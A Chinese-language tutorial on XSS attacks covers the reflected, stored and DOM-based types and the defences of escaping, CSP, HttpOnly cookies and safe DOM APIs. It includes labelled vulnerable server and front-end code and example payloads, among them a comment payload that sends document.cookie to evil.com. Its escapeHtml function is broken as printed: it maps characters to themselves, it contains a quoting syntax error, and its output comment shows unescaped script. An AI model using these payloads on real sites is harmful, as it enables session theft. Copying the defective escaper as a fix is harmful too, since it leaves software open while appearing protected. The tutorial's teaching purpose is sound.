XSS 攻击:原理、分类与防御
了解 XSS 的三种类型及常用防御手段
问题
什么是 XSS 攻击?它有哪些类型?如何防御?
解答
XSS(Cross-Site Scripting,跨站脚本攻击)是指攻击者将恶意脚本注入到网页中,当用户浏览该页面时,脚本在用户浏览器中执行,从而窃取用户信息或执行恶意操作。
三种类型
1. 反射型 XSS
恶意脚本通过 URL 参数传入,服务器将其”反射”回页面。
// 攻击 URL 示例
// https://example.com/search?q=<script>alert(document.cookie)</script>
// 服务端代码(存在漏洞)
app.get('/search', (req, res) => {
const query = req.query.q;
// 直接将用户输入拼接到 HTML 中
res.send(`<p>搜索结果:${query}</p>`);
});
2. 存储型 XSS
恶意脚本被存储到数据库,所有访问该页面的用户都会受影响。危害最大。
// 攻击者在评论框提交
// <script>fetch('https://evil.com?cookie=' + document.cookie)</script>
// 服务端代码(存在漏洞)
app.post('/comment', (req, res) => {
// 直接存储用户输入
db.save({ content: req.body.content });
});
app.get('/comments', (req, res) => {
const comments = db.findAll();
// 直接渲染到页面
res.send(comments.map(c => `<div>${c.content}</div>`).join(''));
});
3. DOM 型 XSS
恶意脚本通过修改 DOM 执行,不经过服务器。
// 攻击 URL
// https://example.com/page#<img src=x onerror=alert(1)>
// 前端代码(存在漏洞)
const hash = location.hash.slice(1);
// 直接将 hash 插入 DOM
document.getElementById('content').innerHTML = hash;
防御措施
1. 输出转义
对用户输入进行 HTML 实体编码。
function escapeHtml(str) {
const escapeMap = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/'
};
return str.replace(/[&<>"'/]/g, char => escapeMap[char]);
}
// 使用
const userInput = '<script>alert(1)</script>';
element.innerHTML = escapeHtml(userInput);
// 输出:<script>alert(1)</script>
2. CSP(Content Security Policy)
通过 HTTP 头限制资源加载来源。
# 只允许加载同源脚本
Content-Security-Policy: script-src 'self'
# 禁止内联脚本,只允许特定域名
Content-Security-Policy: script-src 'self' https://trusted.com
# 禁止 eval 和内联脚本
Content-Security-Policy: script-src 'self'; object-src 'none'
<!-- 或通过 meta 标签设置 -->
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
3. HttpOnly Cookie
防止 JavaScript 读取敏感 Cookie。
// 服务端设置 Cookie
res.setHeader('Set-Cookie', 'sessionId=abc123; HttpOnly; Secure; SameSite=Strict');
// 或使用 express
res.cookie('sessionId', 'abc123', {
httpOnly: true, // JS 无法通过 document.cookie 读取
secure: true, // 仅 HTTPS 传输
sameSite: 'strict' // 防止 CSRF
});
4. 使用安全的 API
// 危险:直接操作 HTML
element.innerHTML = userInput;
document.write(userInput);
// 安全:使用 textContent
element.textContent = userInput;
// React 中默认转义,但要避免 dangerouslySetInnerHTML
<div>{userInput}</div> // 安全
<div dangerouslySetInnerHTML={{__html: userInput}} /> // 危险
关键点
- 反射型:通过 URL 参数注入,一次性攻击
- 存储型:恶意代码存入数据库,影响所有用户,危害最大
- DOM 型:纯前端漏洞,不经过服务器
- 防御核心:永远不信任用户输入,输出时转义
- 多层防护:转义 + CSP + HttpOnly 组合使用
目录